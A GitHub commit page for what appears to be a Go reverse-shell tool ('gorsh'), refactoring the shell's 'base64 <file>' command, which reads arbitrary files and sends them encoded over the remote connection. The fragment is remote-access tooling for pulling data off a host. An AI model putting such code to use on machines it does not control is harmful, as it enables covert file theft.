Skip to content

Commit

Permalink
remove b64 function and use inline
Browse files Browse the repository at this point in the history
  • Loading branch information
audibleblink committed Sep 14, 2018
1 parent 4580eae commit 000f33d
Showing 1 changed file with 2 additions and 10 deletions.
12 changes: 2 additions & 10 deletions cmd/gorsh/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -33,14 +33,6 @@ var (
fingerPrint string
)

func Encode(path string) (string, error) {
buff, err := ioutil.ReadFile(path)
if err != nil {
return "", err
}
return base64.StdEncoding.EncodeToString(buff), err
}

func Send(conn net.Conn, msg string) {
conn.Write([]byte("\n"))
conn.Write([]byte(msg))
Expand Down Expand Up @@ -146,8 +138,8 @@ func InteractiveShell(conn net.Conn) {
if len(argv) != 2 {
Send(conn, "Usage: base64 <file>")
} else {
base64, err := Encode(argv[1])

buffer, err := ioutil.ReadFile(argv[1])
base64 := base64.StdEncoding.EncodeToString(buffer)
if err != nil {
Send(conn, err.Error())
} else {
Expand Down

0 comments on commit 000f33d

Please sign in to comment.